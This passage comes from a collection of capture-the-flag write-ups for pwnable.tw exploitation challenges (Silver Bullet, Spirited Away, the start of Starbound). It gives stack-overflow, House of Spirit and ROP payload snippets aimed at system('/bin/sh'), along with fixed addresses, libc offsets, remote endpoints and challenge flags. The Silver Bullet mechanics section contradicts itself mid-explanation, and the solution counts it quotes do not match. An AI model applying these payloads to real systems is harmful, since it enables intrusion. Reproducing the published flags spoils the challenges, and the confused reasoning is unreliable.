`artifacts/libc_32.so.6` | Remote libc (glibc 2.23, i386) |\n| `solution/*.md` | Community write-ups (146 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12700,"content_sha256":"66208890ded5c5a1c9425784e2e45aee2be450e4b069c7428f88da1fd111dac7"},{"filename":"pwnable-tw/silver_bullet.md","content":"---\ntags:\n - off-by-one\n - stack-buffer-overflow\n - ret2libc\nplatform: pwnable.tw\npoints: 200\narch: i386\nlibc: glibc-2.23\nrelro: partial\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A strncat off-by-one error overwrites the bullet power integer with zero, allowing a second input to overflow the stack frame into ret2libc.\"\nproof-of-concept: no\n---\n\n# Silver Bullet — pwnable.tw (200 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10103`\n>\n> Flag: `FLAG{Silver_Bullet_Is_Not_Enough_QQ}`\n\n## Challenge Overview\n\nA 32-bit werewolf-slaying game (i386, no PIE, no canary, NX, Partial RELRO) built against glibc 2.23. The player creates a \"silver bullet\" with a text description, can power it up by appending more text, then attempts to beat a werewolf whose HP is 0x7FFFFFFF. The bullet's \"power\" (stored as a 32-bit integer immediately after the 0x30-byte description buffer on the stack) determines damage dealt. The game loops in `main` until the werewolf is killed or the player quits.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE # fixed addresses\n```\n\n## Program Structure\n\n```text\nmain() loop:\n 1. Create bullet → read_input(desc, 0x30); power = strlen(desc)\n 2. Power up bullet → strncat(desc, new, 0x30 - power); power += strlen(new)\n 3. Beat werewolf → hp -= power; if hp \u003c= 0: \"You win!!\", return\n 4. Exit\n```\n\n### Stack Layout of `main`\n\n| Offset from EBP | Field |\n|------------------|-------|\n| `-0x34` | `desc[0x30]` — bullet description buffer |\n| `-0x04` | `power` — 32-bit integer (bullet damage) |\n| `+0x00` | saved EBP |\n| `+0x04` | saved return address |\n\n## Vulnerabilities\n\n### V1 — `strncat` Off-by-One NUL Byte Overwrites Power Field (Primary, Exploitable)\n\n**Root Cause:** `power_up()` uses `strncat(desc, new_input, 0x30 - power)` to append to the description. `strncat` always writes a terminating NUL byte **after** the last copied character. When the total description length reaches exactly `0x30`, the NUL lands at `desc[0x30]` — which is the **low byte of the `power` field**.\n\n```c\n// power_up (decompiled, simplified)\nvoid power_up(char *desc, int *power) {\n char new_desc[0x30];\n memset(new_desc, 0, 0x30);\n read_input(new_desc, 0x30 - *power); // read up to remaining space\n strncat(desc, new_desc, 0x30 - *power);\n // ^^^ NUL terminator lands at desc[strlen(desc)] which may be desc[0x30]\n // This is power's low byte!\n *power = strlen(desc); // recompute: now sees past the NUL'd power field\n}\n```\n\n**Trigger sequence:**\n1. `create_bullet(\"A\" * 0x2f)` → `power = 0x2f`, `desc` has 0x2f bytes.\n2. `power_up(\"\\xff\")` → `strncat` appends 1 byte + NUL. The NUL lands on `power`'s low byte, zeroing it. Then `power = strlen(desc)` scans from `desc[0]` through the NUL at `desc[0x30]` and keeps going, finding `\\xff` (non-NUL) and whatever is after. The effective `power` becomes **1** (just the new byte, since `strlen` restarts from the power field perspective — actually `power = strlen(desc) = 0x30` but the old power was NUL'd so `0x30 - power` in the *next* call uses the newly computed value).\n\nWait — the precise mechanics: after step 2, `strlen(desc)` returns `0x30` (the full 0x2f A's + 1 `\\xff`). But `power` was overwritten to have its low byte = 0, so the stored `power` was `0x00` (or `0x??00`). Then it gets recomputed: `*power = strlen(desc)` → stored as `0x30`. **But**: for the *next* `power_up` call, `0x30 - 0x30 = 0`, so no more bytes can be appended.\n\nThe actual trick (as the exp.py shows): After step 2, `power`'s low byte is NUL'd → `power` becomes some small value (often 0 or 1, depending on residual bytes). `strlen(desc)` is called and stored back, giving `power = 0x30`. However, `strlen(desc)` actually returns `0x30` because `strncat` wrote `\\xff\\x00` making total = `0x2f + 1 = 0x30`. So `power = 0x30` and `0x30 - 0x30 = 0`.\n\n**Actual mechanism from exp.py and all solutions:** The key insight is:\n\n1. Create with exactly `0x2f` bytes → `power = 0x2f`.\n2. Power up with 1 byte (`\\xff`) → `strncat` appends `\\xff\\x00`. The `\\x00` lands at byte offset `0x30`, which is the low byte of `power`. Now `power`'s low byte = 0. `strlen(desc)` is called: it returns `0x30` (the `\\xff` was at index `0x2f`, but `\\x00` at `0x30` terminates). The code does `*power = strlen(new) + strlen(desc)` — wait, let me re-read the actual decompilation.\n\nLooking at the exp.py comment more carefully:\n> Create a bullet whose description length is exactly 0x2f, then power_up with a single byte: the off-by-one NUL lands on the low byte of the power field, which is then recomputed to 1. Now strlen(desc) (== 0x31) and the tracked power (== 1) disagree, so the next power_up's strncat appends starting at desc[0x31].\n\nSo the actual flow is:\n1. `create(\"A\"*0x2f)` → power = 0x2f.\n2. `power_up(\"\\xff\")` → `strncat(desc, \"\\xff\", 0x30 - 0x2f = 1)`. Copies 1 byte + NUL. NUL overwrites `power` low byte → power = 0. Then `power += strlen(\"\\xff\") = 1`. So **power = 1**. But `strlen(desc) = 0x30`. The next `power_up` does `strncat(desc + strlen_pos, new, 0x30 - 1 = 0x2f)`. Since `strncat` starts appending at `desc[strlen(desc)]` = `desc[0x30]` (which is now `\\x00` in the power field), it overwrites power and everything beyond it.\n\nActually the code does:\n```c\nstrncat(desc, new, 0x30 - *power); // 0x30 - 1 = 0x2f bytes allowed\n*power += strlen(new);\n```\n\nBut `strncat` appends at the first NUL in `desc`. Since `desc[0x30]` is `\\x00` (the NUL we just wrote), `strncat` finds it and starts writing there — past the description buffer into the power field, saved EBP, and return address.\n\n**Impact:** Stack buffer overflow of up to `0x2f` bytes past `desc[0x30]`, overwriting:\n- Bytes 0-3: `power` field (set to `\\xff\\xff\\xff\\x??` → large negative value so `beat()` wins)\n- Bytes 4-7: saved EBP\n- Bytes 8-11: **saved return address** of `main`\n- Bytes 12+: ROP chain arguments\n\n### V2 — No Stack Canary + No PIE (Enabler)\n\nThe binary has **no stack canary** and is **not position-independent**, making the off-by-one directly exploitable:\n- No canary to bypass between the buffer and return address.\n- Fixed addresses for PLT entries, GOT entries, and gadgets — no info leak needed for the first ROP stage.\n\n### V3 — Partial RELRO (Enabler)\n\nGOT is writable, so solutions that use `read` to overwrite GOT entries (e.g., overwrite `puts@GOT` with `system`) are viable, though most solutions prefer a simpler ret2libc approach.\n\n## Key Binary Addresses (No PIE)\n\n```python\n# PLT\nputs_plt = 0x080484A8\nprintf_plt = 0x08048498\nread_plt = 0x08048490\n\n# GOT\nputs_got = 0x0804AFDC\nread_got = 0x0804AFD0\nexit_got = 0x0804AFE4\nprintf_got = 0x0804AFD4\n__libc_start_main_got = 0x0804AFEC\n\n# Functions\nmain = 0x08048954\n_start = 0x080484F0\nread_input = 0x080485EB\n\n# Gadgets\npop_ebx_ret = 0x08048475\npop_ebp_ret = 0x08048A7B\npop3_ret = 0x08048A79 # pop esi; pop edi; pop ebp; ret\nleave_ret = 0x08048641 # or 0x08048952\n```\n\n## Exploit Paths\n\nAll 195 solutions exploit V1 (strncat off-by-one). They diverge on ROP chain construction and leak strategy.\n\n---\n\n### Path A — ret2plt Leak + ret2libc (Most Common)\n\n**Used by:** ~90% of all solutions (138, 144, 100, 1006, 1155, 1220, 1251, 1269, 1351, 1384, 1395, 1428, 10840, 14106, etc.)\n\n**Strategy:** Two-pass exploit. First pass leaks a libc address, second pass calls `system(\"/bin/sh\")`.\n\n**Stage 1 — Leak libc:**\n```asm\ncreate(\"A\" * 0x2f)\npower_up(\"\\xff\") # off-by-one: power → 1\npower_up(\"\\xff\"*7 + ROP_LEAK) # overflow: power(neg) + EBP + ret\nbeat() [+ beat()] # win → main returns into ROP\n```\n\nROP chain for leak:\n```python\nROP_LEAK = p32(puts_plt) + p32(main) + p32(puts_got)\n# puts(puts@GOT) return argument\n```\n\nAfter `main` returns, `puts` prints the resolved address of `puts` from the GOT. Then execution returns to `main` for a fresh round.\n\n**Stage 2 — Shell:**\n```python\nROP_SHELL = p32(system) + p32(0xdeadbeef) + p32(bin_sh)\n# system(\"/bin/sh\") dummy ret argument\n```\n\nRepeat the overflow with the computed libc addresses.\n\n**Variant — Different leak targets:** Solutions leak different GOT entries depending on preference:\n- `puts@GOT` (most common)\n- `read@GOT`\n- `printf@GOT`\n- `exit@GOT`\n- `__libc_start_main@GOT`\n- `stdin` (FILE* in BSS at `0x804b020`)\n\n**Variant — pop;ret cleanup:** Some solutions use `pop ebx; ret` (0x08048475) or `pop ebp; ret` (0x08048a7b) between the leak call and the return-to-main to properly clean up arguments from the stack.\n\n---\n\n### Path B — Stack Pivot to BSS (Advanced)\n\n**Used by:** Solutions 1316, 278, 799, 2693, 59, 10178\n\n**Motivation:** The overflow window is limited to ~0x2f bytes after `desc[0x30]`. For longer ROP chains (e.g., chaining `read_input` to get arbitrary-length second-stage payloads), solvers pivot the stack to a writable BSS region.\n\n**Steps:**\n1. Overflow to set saved EBP to a BSS address and return to `read_input(bss_addr, large_len)`.\n2. Use a `leave; ret` gadget to pivot ESP to the BSS.\n3. Send a second-stage ROP payload via `read_input` with no size constraints.\n4. The second stage leaks libc (e.g., `puts(read@GOT)`) then calls `read` again for a third stage.\n5. Third stage calls `system(\"/bin/sh\")`.\n\n```python\n# Stage 1: pivot\npayload = \"\\xff\"*3 + p32(bss_addr) # power + new EBP\npayload += p32(read_input) # ret → read_input(bss, len)\npayload += p32(leave_ret) # after read, pivot to bss\npayload += p32(bss_addr) + p32(0x100) # read_input args\n```\n\n**Advantage:** Unlimited ROP chain length; can chain multiple calls.\n**Disadvantage:** More complex; unnecessary for this challenge since the simpler 2-pass approach works.\n\n---\n\n### Path C — GOT Overwrite via `read` (Rare)\n\n**Used by:** Solutions 100, 1006, 13060\n\n**Strategy:** Instead of returning to `main` after the leak, chain a `read(0, got_entry, 4)` call to overwrite a GOT entry (e.g., `puts@GOT`) with `system`'s address. Then trigger the overwritten function with a controlled argument.\n\n```python\n# After leaking, ROP chain calls read(0, puts_got, 4) then returns to\n# code that calls puts(\"/bin/sh\") which is now system(\"/bin/sh\")\nROP = p32(puts_plt) + p32(pop_ret) + p32(puts_got) # leak\nROP += p32(read_plt) + p32(main) + p32(0) + p32(puts_got) + p32(4) # overwrite\n```\n\nThen send `p32(system_addr)` to overwrite the GOT entry.\n\n---\n\n### Path D — `read_input` + `leave;ret` Chaining (Elegant)\n\n**Used by:** Solutions 278, 2693, 10178\n\nSimilar to Path B but specifically uses the binary's own `read_input` function combined with `leave; ret` to build an arbitrary-length chain in BSS with clean control flow.\n\n```python\n# Overflow → read_input(fake_stack, 0xff) → leave;ret\n# Then from fake_stack: puts(got_entry) → read_input(fake_stack2, 0xff) → leave;ret\n# Then from fake_stack2: system(\"/bin/sh\")\n```\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Off-by-one NUL on `power` | V1: strncat at boundary | 100% deterministic |\n| Stack overflow (~0x2f bytes) | V1: strncat with desync'd power | 100% deterministic |\n| libc leak via GOT | ret2plt (puts/printf) | 100% deterministic |\n| Return to main | Fixed `main` address (no PIE) | 100% deterministic |\n| Code execution | `system(\"/bin/sh\")` via ret2libc | 100% deterministic |\n\n## Offsets (pwnable.tw `libc_32.so.6`, glibc 2.23)\n\n```python\nputs = 0x5F140\nsystem = 0x3A940\nbin_sh = 0x158E8B # \"/bin/sh\" string\nread = 0xD41C0\nprintf = 0x49020\nexit = 0x2E7B0\n__libc_start_main = 0x18540\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `59.md` | B | Stack pivot to BSS + `read_input` + `leave;ret` | Uses pwntools ROP; elegant pivot |\n| `100.md` | A + C | `puts` leak → `read` GOT overwrite | Chains read to overwrite GOT |\n| `138.md` | A | `puts` leak → `system` | Ruby; two-pass ret2libc |\n| `144.md` | A | `puts` leak → `system` | Python; beat() called twice |\n| `278.md` | D | `read_input` + BSS stack pivot | Ruby; multi-stage pivot |\n| `799.md` | B | BSS pivot via `call read` gadget | Three-stage BSS chain |\n| `1006.md` | A | `puts` leak → `system` | Minimal; direct approach |\n| `1155.md` | A | `stdin` FILE* leak → `system` | Leaks `_IO_2_1_stdin_` instead of GOT |\n| `1220.md` | A | `puts` leak → `system` | Clean helper functions |\n| `1251.md` | A | `usleep@GOT` leak → `system` | Leaks usleep, uses `pop;ret` |\n| `1269.md` | A | `puts` leak → `system` | Uses `pop ebp; ret` for stack cleanup |\n| `1316.md` | B | Stack pivot + `read_input` + `leave;ret` | Reads to BSS, pivots, calls system |\n| `1351.md` | A | `exit@GOT` leak → `system` | Leaks exit address |\n| `1384.md` | A | `printf` leak → `system` | Uses printf@plt instead of puts |\n| `1395.md` | A | `read@GOT` leak → `system` | Leaks read; dual beat() |\n| `1428.md` | A | `puts` leak → `system` | Straightforward |\n| `2693.md` | D | `read_input` + BSS pivot + async | Python asyncio; clean pivot |\n| `10128.md` | A | `printf` leak → `system` | Uses pwntools auto-ROP |\n| `10178.md` | A | `puts` leak + `read_input` pivot | Uses ptrlib |\n| `10840.md` | A | `puts` leak → `system` | Minimal modern pwntools |\n| `11540.md` | A | `__libc_start_main` leak → `system` | Leaks via start_got |\n| `12245.md` | A | `read@GOT` leak → `system` | Chinese writeup; explains NUL overwrite |\n| `13060.md` | A + C | `read` leak + GOT overwrite → `system` | `read_input` to overwrite GOT + `read_int` for dispatch |\n| `14106.md` | A | `exit` leak + `read_int` dispatch | Creative: uses read_int as jump trampoline |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (pure sockets, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/silver_bullet` | Original challenge binary (i386, not stripped) |\n| `artifacts/libc_32.so.6` | Remote libc (glibc 2.23, i386) |\n| `solution/*.md` | Community write-ups (195 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":14324,"content_sha256":"259c4158ba3818058ced257088a9b8e6a935633e17498cf6c458094ee07ba35a"},{"filename":"pwnable-tw/spirited_away.md","content":"---\ntags:\n - house-of-spirit\n - stack-buffer-overflow\n - ret2libc\nplatform: pwnable.tw\npoints: 300\narch: i386\nlibc: glibc-2.23\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"An off-by-one size error enables forging fake chunk headers on the stack, triggering House of Spirit via free() to overwrite the return address.\"\nproof-of-concept: no\n---\n\n# Spirited Away — pwnable.tw (300 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10204`\n>\n> Flag: `FLAG{Gue55_the_answer_isn't_always_Y3S}`\n\n## Challenge Overview\n\nA 32-bit movie comment survey program (i386, no PIE, Partial RELRO, NX, Stack Canary) built against glibc 2.23. In a loop, the user is asked for name, age, reason, and comment. After each entry, they can choose to leave another comment. A global counter tracks total comments.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n```\n\n## Program Logic (Pseudocode)\n\n```c\nvoid survey() {\n char sprintf_buf[0x38]; // ebp-0xe8\n uint32_t name_comment_len; // ebp-0xb0, initialized to 0x3c (60)\n uint32_t reason_len; // ebp-0xac, initialized to 0x50 (80)\n char reason[0x50]; // ebp-0xa8 .. ebp-0x58\n char comment[0x3c]; // ebp-0x58 .. ebp-0x1c (approx)\n char *name_ptr; // ebp-0x54 (malloc'd heap pointer)\n\n name_comment_len = 0x3c;\n reason_len = 0x50;\n\n while (1) {\n name_ptr = malloc(0x3c);\n read(0, name_ptr, name_comment_len); // name\n scanf(\"%d\", &age); // age\n read(0, reason, reason_len); // reason\n read(0, comment_buf, name_comment_len); // comment (reuses name_comment_len!)\n\n printf(\"Name: %s\\nReason: %s\\n...\", name_ptr, reason);\n\n // BUG: sprintf can overflow into name_comment_len\n sprintf(sprintf_buf, \"%d comment so far. We will review ...\", ++cnt);\n\n free(name_ptr);\n\n read(0, &choice, 1);\n if (choice == 'n') return; // returns to main → exit\n }\n}\n```\n\n## Vulnerabilities\n\n### V1 — `sprintf` Overflow Corrupts `name_comment_len` (Primary, Exploitable)\n\n**Root Cause:** The `sprintf_buf` at `ebp-0xe8` is ~56 bytes, and the `name_comment_len` variable sits at `ebp-0xb0`. The sprintf format string `\"%d comment so far. We will review them as soon as we can\"` is 57+ characters. When `cnt` grows from 1 digit to 2 digits (count=10), the NUL terminator spills onto `name_comment_len`, setting it to **0**. When `cnt` reaches 3 digits (count=100), the trailing `\"...can\\0\"` writes `'n' = 0x6e` (110) into `name_comment_len`.\n\n```text\nsprintf_buf layout (cnt=100):\n ebp-0xe8: \"100 comment so far. We will review them as soon as we can\\0\"\n ^\n ebp-0xb0 = 0x6e ('n')\n```\n\n**Phase 1 (cnt 10–99):** `name_comment_len = 0` → name and comment `read()` calls consume 0 bytes (effectively skipped). Age and reason still work normally.\n\n**Phase 2 (cnt ≥ 100):** `name_comment_len = 0x6e` (110) → name and comment reads are now **much larger** than the original 0x3c (60). The comment buffer is only ~60 bytes before reaching the `name_ptr` variable on the stack → **comment read overflows into `name_ptr`**.\n\n**Impact:** The attacker controls the `name_ptr` (heap pointer) that gets `free()`'d and then `malloc()`'d on the next iteration. This enables **House of Spirit**: point `name_ptr` at a fake fastbin chunk on the stack, free it, then malloc returns a stack pointer — the next name read writes directly to the stack.\n\n### V2 — `printf(\"%s\", reason)` Leaks Stack/libc (Exploitable)\n\n**Root Cause:** The `reason` buffer at `ebp-0xa8` is read with `read(0, reason, 0x50)` but never NUL-terminated. `printf(\"Reason: %s\", reason)` prints past the 0x50 bytes into whatever follows on the stack.\n\n```text\nStack layout after reason buffer:\n ebp-0xa8: reason[0x50]\n ebp-0x58: ... (comment area / other locals)\n ...\n ebp+0x00: saved_ebp ← leaked (stack address)\n ebp+0x04: saved_eip = 0x08048908 ← leaked (return into main, constant)\n ebp+0x08: stdout FILE* ← leaked (libc address)\n```\n\n**Impact:** By filling reason with exactly 0x50 bytes (no newline), the `%s` format leaks:\n- **`saved_ebp`** → stack address (used to calculate the fake chunk target)\n- **`0x08048908`** → anchor value (survey's return address into main, confirms alignment)\n- **`stdout` (`_IO_2_1_stdout_`)** → libc address (subtract known offset → libc base)\n\nSome solvers get a shorter leak by filling reason with fewer bytes (e.g., 56 bytes to only leak the libc pointer through `_IO_file_sync`/`fflush` residue), depending on exact stack layout.\n\n### V3 — Heap Pointer on Stack → House of Spirit (Enabler)\n\nThe `name_ptr` variable at `ebp-0x54` holds a `malloc`'d pointer that is `free()`'d each iteration and re-`malloc()`'d at the start of the next. Since V1 lets us overwrite `name_ptr` via the comment overflow, we can:\n\n1. Point `name_ptr` at a **fake fastbin chunk** we've placed in the `reason` buffer on the stack\n2. The subsequent `free(name_ptr)` inserts this fake chunk into the 0x40 fastbin\n3. The next `malloc(0x3c)` returns the stack address\n4. The next `read(0, name_ptr, 0x6e)` writes up to 110 bytes starting from the stack fake chunk → overwrites `saved_eip`\n\n## Exploit Flow (All Solutions)\n\nEvery solution follows the same fundamental chain. Differences are minor (leak offsets, padding, one_gadget vs ret2libc).\n\n### Step 1 — Leak Stack + libc (Iteration 1)\n\nFill `reason` with 0x50 bytes (or a shorter marker + padding). Read back the `%s` leak to extract `saved_ebp` (stack) and `_IO_2_1_stdout_` (libc).\n\n```python\n# Fill reason fully → leak stack and libc\nsend_name(\"A\")\nsend_age(\"1\\n\")\nsend_reason(\"A\" * 0x50) # no NUL terminator\nsend_comment(\"C\")\n# parse: saved_ebp, return_addr (0x08048908), stdout pointer\n```\n\n### Step 2 — Overflow `name_comment_len` (Iterations 2–100)\n\nSend 99 more comments to increment `cnt` from 1 to 100:\n- Iterations 2–10: normal (len=0x3c), send all four fields\n- Iterations 11–100: len=0 (NUL-overwritten), name and comment reads are skipped; only send age + reason + choice\n\n```python\nfor i in range(2, 11):\n send_all_fields(\"a\", \"1\\n\", \"x\", \"c\"); send_choice(\"y\")\nfor i in range(11, 101):\n # len=0: name/comment reads consume nothing\n send_age(\"1\\n\"); send_reason(\"x\"); send_choice(\"y\")\n# cnt is now 100 → name_comment_len = 0x6e\n```\n\n### Step 3 — Forge Fake Chunk + Redirect `name_ptr` (Iteration 101)\n\nPlace a fake 0x40 fastbin chunk in the `reason` buffer and overflow `name_ptr` via the now-oversized comment read:\n\n```python\n# Fake chunk in reason buffer (ebp-0xa8):\n# prev_size=0, size=0x41, data[0x38], next_size=0x41\nreason = p32(0) + p32(0x41) + \"X\"*0x38 + p32(0) + p32(0x41)\n\n# Overflow comment → overwrite name_ptr with address of fake chunk\ncomment = \"Q\"*0x54 + p32(fake_chunk_addr)\n\n# Send and answer \"y\" → free(name_ptr) pushes fake chunk to fastbin\n```\n\n### Step 4 — Stack Write → ret2libc / one_gadget (Iteration 102)\n\n`malloc(0x3c)` returns the stack fake chunk. The name `read()` now writes 0x6e bytes onto the stack starting from the fake chunk, reaching `saved_eip`:\n\n```python\n# Overwrite saved_eip with system() and \"/bin/sh\" argument:\nname = \"A\"*0x4c + p32(system) + p32(junk) + p32(binsh_addr)\nsend_name(name)\n# ... fill remaining fields ...\nsend_choice(\"n\") # survey() returns → system(\"/bin/sh\")\n```\n\n### Alternative Finishes\n\n| Technique | Description | Used by |\n|-----------|-------------|---------|\n| `ret2libc: system(\"/bin/sh\")` | Classic 32-bit ret2libc with libc `/bin/sh` string | Most solutions |\n| `one_gadget` | Single gadget (e.g., `0x3a819`, `0x5f065`) in saved_eip | 1006, 1727, 7905 |\n| `ROP → read() → puts(GOT) → system()` | Multi-stage ROP to leak libc at runtime + pivot | 1913 |\n| `\"/bin/sh\"` on stack | Place `/bin/sh` string on stack, point `system` arg there | 17048 |\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| libc leak (`_IO_2_1_stdout_`) | V2: `printf(\"%s\", reason)` no NUL terminator | Deterministic |\n| Stack leak (`saved_ebp`) | V2: same `%s` leak | Deterministic |\n| `name_comment_len` corruption (0→0x6e) | V1: `sprintf` overflow at cnt=100 | Deterministic |\n| `name_ptr` overwrite | V1-enabled comment overflow | Deterministic |\n| Fake fastbin chunk (House of Spirit) | V3: forge chunk in reason buffer | Deterministic |\n| Stack write (saved_eip overwrite) | malloc returns stack; name read overwrites ret | Deterministic |\n\n## Key Stack Layout\n\n```text\nebp-0xe8: sprintf_buf[0x38] ← \"%d comment so far...\"\nebp-0xb0: name_comment_len ← overwritten by sprintf NUL/tail\nebp-0xac: reason_len (0x50)\nebp-0xa8: reason[0x50] ← fake chunk placed here\nebp-0x58: comment/name_ptr area\nebp-0x54: name_ptr (heap) ← overwritten via comment overflow\n ...\nebp+0x00: saved_ebp ← leaked via V2\nebp+0x04: saved_eip (0x08048908) ← overwritten to system() / one_gadget\nebp+0x08: stdout FILE* ← leaked via V2 (libc anchor)\n```\n\n## Offsets (pwnable.tw `libc_32.so.6`, glibc 2.23)\n\n```python\n_IO_2_1_stdout_ = 0x1b0d60\nsystem = 0x3a940\nbin_sh = 0x158e8b\n# one_gadgets (from one_gadget tool):\none_gadgets = [0x3a819, 0x3a81c, 0x5f065, 0x5f066]\n```\n\n## Solution Write-ups\n\n| File | Key Technique | Notes |\n|------|---------------|-------|\n| `1006.md` | sprintf overflow → House of Spirit → one_gadget | Leaks stack via reason overflow; GOT read for libc |\n| `1172.md` | sprintf overflow → fake chunk → system(\"/bin/sh\") | Clean code; single-iteration leak |\n| `1269.md` | sprintf overflow → House of Spirit → one_gadget | Detailed helper functions; two-phase leak |\n| `1297.md` | sprintf overflow → fake chunk → system+exit+binsh | Full ret2libc with clean exit |\n| `1303.md` | sprintf overflow → fake chunk → system | Messy parsing but works; raw hex leak |\n| `1316.md` | sprintf overflow → House of Spirit → system+exit+binsh | Clean exploit with proper recv handling |\n| `1351.md` | sprintf overflow → fake chunk → system | Uses ntpwn library |\n| `1384.md` | sprintf overflow → fake chunk → system | Minimal; uses fflush offset for libc leak |\n| `1689.md` | sprintf overflow → fake chunk → system | Uses reason at various offsets for two-stage leak |\n| `1727.md` | sprintf overflow → House of Spirit → one_gadget (0x5f065) | Verbose but well-structured |\n| `1803.md` | sprintf overflow → fake chunk → system | Written in Ruby |\n| `1913.md` | sprintf overflow → ROP chain (read→puts→system) | Multi-stage ROP; leaks libc via puts(GOT) at runtime |\n| `10128.md` | sprintf overflow → fake chunk → system | Uses regex for leak parsing |\n| `10840.md` | sprintf overflow → fake chunk → system | Detailed with proper fastbin next-size validation |\n| `11445.md` | sprintf overflow → fake chunk → system | Short; anchors libc on `_IO_file_sync` offset |\n| `11540.md` | sprintf overflow → fake chunk → system | Uses `interactive()` trick for scanf buffering |\n| `13019.md` | sprintf overflow → House of Spirit → system | Detailed step-by-step with raw_input pauses |\n| `14032.md` | sprintf overflow → fake chunk → system | Different libc version offsets (2.27 locally) |\n| `14605.md` | sprintf overflow → fake chunk → system | Clean helper functions |\n| `17048.md` | sprintf overflow → House of Spirit → system | Detailed telnetlib-based; places \"/bin/sh\" on stack |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (socket-based, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/spirited_away` | Challenge binary (i386, stripped) |\n| `artifacts/libc_32.so.6` | Remote libc (glibc 2.23, 32-bit) |\n| `solution/*.md` | Community write-ups (129 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12169,"content_sha256":"1eba5e8c7a2f94fea05283e56f20232a6de628e93b1299888c5c9ad274f7a941"},{"filename":"pwnable-tw/starbound.md","content":"---\ntags:\n - integer-overflow\n - stack-pivoting\n - rop\nplatform: pwnable.tw\npoints: 200\narch: i386\nlibc: glibc-2.23\nrelro: partial\ncanary: no\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A negative index in the menu jump table allows reading outside the table, triggering stack pivoting onto user input to execute a ROP chain.\"\nproof-of-concept: no\n---\n\n# Starbound — pwnable.tw (200 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10202`\n>\n> Flag: `FLAG{st4r_st4r_st4r_b0und}`\n\n## Challenge Overview\n\nA \"Starbound\" space-themed game binary (i386, No PIE, Partial RELRO, NX, No Canary) built against glibc 2.23. The player interacts through a numbered main menu (1–7) offering actions like exploring, fighting, inventory, map viewing, settings, and multiplayer. The settings menu allows changing the player's name and IP address. The main dispatcher uses `strtol` to parse the menu choice and indexes into a **function pointer table** with **no bounds check**.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: No canary found\n NX: NX enabled\n PIE: No PIE (0x8048000)\n```\n\n## Key Memory Layout (No PIE — fixed addresses)\n\n| Address | Content |\n|---------|---------|\n| `0x08057F80` | `me` struct (global player state) |\n| `0x080580C8` | `me.ip` — IP address buffer |\n| `0x080580D0` | `me.name` — player name buffer (4+ bytes) |\n| `0x08058154` | Function pointer table (`cmds[]`) — 7 entries for menu options 1–7 |\n| `0x0805509C` | `puts@GOT` |\n| `0x08055050` | `__libc_start_main@GOT` |\n| `0x08055054` | `read@GOT` |\n\nThe function pointer table at `0x08058154` lives at the **tail** of the `me` struct. The player name buffer at `0x080580D0` is at offset `-0x84` (i.e., -33 dwords) from the table base.\n\n## Vulnerabilities\n\n### V1 — Function Pointer Table Index OOB (Primary, Exploitable)\n\n**Root Cause:** The main-menu dispatcher reads the user's choice via `strtol()` and uses it as an index into a function pointer table with **no bounds check**:\n\n```asm\n; main dispatch (0x0804A65D)\ncall strtol ; eax = user choice (signed)\ncall DWORD PTR [eax*4 + 0x8058154] ; NO bounds check on eax\n```\n\nSince `eax` can be **any signed integer** (including negative), the attacker can make the program call **any 4-byte-aligned dword in memory** as a function pointer.\n\n**Key Index:** Index **-33** makes the dispatch read from `0x08058154 + (-33)*4 = 0x080580D0` — which is the **player name buffer**. Since the name is set by the user via the settings menu, this gives a call to an **attacker-controlled address**.\n\n```text\ncmds[-33] = *(0x080580D0) = name[0:4]\n```\n\n**Impact:** Arbitrary code execution — the first 4 bytes of the player's name are called as a function pointer.\n\n### V2 — Stack Leak via Large Negative Index (Exploitable)\n\n**Root Cause:** Using a large negative index (e.g., `-3118`) points the function table lookup into the stack region. Since the input buffer is also on the stack, the resulting output from `puts` or the menu system can leak **stack addresses**.\n\n```python\n# -3118 index leaks a stack pointer through puts output\nio.send(\"-3118\")\nstack_leak = u32(io.recv(4))\n```\n\n**Impact:** Leaks stack addresses, enabling precise stack pivoting or ROP chain placement.\n\n### V3 — Format String via `do_bye` Gadget (Exploitable)\n\n**Root Cause:** Setting the name to point at a mid-function address `0x08049C16` inside `do_bye()` causes the dispatch to land at:\n\n```asm\n; 0x08049C16 (inside do_bye)\nmov [esp], 1\ncall __printf_chk ; __printf_chk(1, input_buffer)\n```\n\nThis turns the **user's input buffer** into a format string argument to `__printf_chk`.\n\n**Impact:** A fully controlled, **returning** format string. By embedding a return address (e.g., `MAIN_LOOP = 0x0804A664`) in the input buffer and using `%s` with an embedded GOT pointer, the attacker gets an arbitrary read that cleanly returns to the main loop.\n\n### V4 — Name Buffer Overflow into Settings Struct (Enabler)\n\nThe name read function (`readn`) reads up to a fixed number of bytes. The name buffer at `0x080580D0` sits within the larger `me` struct. Writing past the name can overwrite other struct fields, though the primary use is simply placing the 4-byte function pointer.\n\n## Exploit Paths\n\nAll solutions exploit V1 (function pointer table OOB) by setting the player name to a controlled value, then entering index `-33` (or a computed negative index) to call it. They diverge on the pivot/leak/shell strategy.\n\n---\n\n### 